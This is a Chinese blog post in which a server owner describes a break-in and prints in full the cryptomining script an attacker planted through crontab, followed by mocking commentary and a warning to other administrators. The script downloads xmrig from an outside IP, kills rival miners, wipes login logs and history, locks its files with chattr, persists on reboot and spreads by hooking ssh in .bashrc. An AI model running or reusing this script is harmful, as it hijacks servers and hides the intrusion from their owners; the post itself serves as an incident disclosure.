今天,我的服务器莫名其妙被黑了,幸好阿里云的短信及时提醒我,不然还一直发现不了:
赶紧登录上去看看/etc/crontab文件:
奶奶个腿,哪个不要脸的家伙给我写的这玩意,root权限就这样被拿走了,真郁闷!
http://185.135.83.101/s
这是个什么东西,拿下来看看:
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
pkill -f AnXqV.yam
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
PORT_NUMBER=3333
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=5555
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=7777
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
PORT_NUMBER=14444
lsof -i tcp:${PORT_NUMBER} | awk 'NR!=1 {print $2}' | xargs kill -9
}
function cleans() {
echo "" > /var/log/wtmp
echo "" > /var/log/secure
history -c
}
U="http://185.135.83.101"
A=`/bin/uname -m`
kills
cleans
[ -f "$HOME/.iscsid ] && exit 0
[ $A != 'x86_64' ] && exit 1
if [ -f "$HOME/.systemd" ]; then
pkill -f .systemd
chattr -i $HOME/.systemd
chattr -i $HOME/.m
mv $HOME/.systemd $HOME/.iscsid
rm -f $HOME/.m
fi
if [ -f "$HOME/.java" ]; then
pkill -f .java
chattr -i $HOME/.java
chattr -i $HOME/.m
mv $HOME/.java $HOME/.iscsid
rm -f $HOME/.java
rm -f $HOME/.m
fi
if [ -f "$HOME/.netns" ]; then
pkill -f .netns
chattr -i $HOME/.netns
chattr -i $HOME/.m
mv $HOME/.netns $HOME/.iscsid
rm -f $HOME/.netns
rm -f $HOME/.m
fi
if [ -f "$HOME/.perf" ]; then
pkill -f .perf
chattr -i $HOME/.perf
chattr -i $HOME/.m
mv $HOME/.perf $HOME/.iscsid
rm -f $HOME/.perf
rm -f $HOME/.m
fi
cd $HOME
echo -e "\nssh() {\n\t/usr/bin/ssh \$@ -t 'bash -l -c \"wget -qO - http://185.135.83.101/s | bash;bash\"'\n}" >> $HOME/.bashrc
if [ ! -f "$HOME/.iscsid" ]; then
wget -qO .iscsid $U/bin/xmrig &> /dev/null || curl $U/bin/xmrig -o .iscsid
fi
wget -qO .m $U/bin/config.json &> /dev/null || curl $U/bin/config.json -o .m
chmod +x $HOME/.perf
chattr +i $HOME/.iscsid &> /dev/null
chattr +i $HOME/.m &> /dev/null
if [ $UID == 0 ]; then
echo "vm.nr_hugepages = 128" >> /etc/sysctl.conf
sysctl -p &> /dev/null
chattr +i $HOME/.iscsid &> /dev/null
chattr +i $HOME/.m &> /dev/null
fi
$HOME/.iscsid > /dev/null &
echo -e "$(crontab -l)\n@reboot $HOME/.iscsid" | crontab
[ $0 != 'bash' ] && rm -f $0
kills
cleans
history -c
exit 0
原来是个挖矿脚本,代码写的真丑,我猜作者肯定也丑,丑人多作怪。
这脚本无非就是从185.135.83.101
上下载各种程序,而且把这些垃圾还用chattr +i
修改了隐藏属性,让我直接用rm
无法删除。更不要脸的是,还把标准输出都写到/dev/null
。
每次做完坏事后毁尸灭迹,杀掉进程、清空文件做的666,最后还不忘了history -c
,我心中一万个曹尼玛,心机有多深,真是做完好事不留名。
查了下IP185.135.83.101
,竟然是俄罗斯的服务器,但我不相信这是俄罗斯人干的。脚本的前部分:
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
看到zhuabcn@yahoo.com
,看起来像中国人吧。再看域名:stratum.f2pool.com:
果然是国人干的,MMP!
另外,百度搜一下里面的一个域名xmr.crypto-pool.fr
,发现很多人也深受其害,原因很多都是由Redis的“未授权访问缺陷”引起,但本人服务器并没有安装Redis。看来,得找个时间好好研究一下自己的root权限是如何丢失的。
今天,我把这个脚本亮出来,希望大家多注意自己的服务器,不要被这种下三滥给盯上。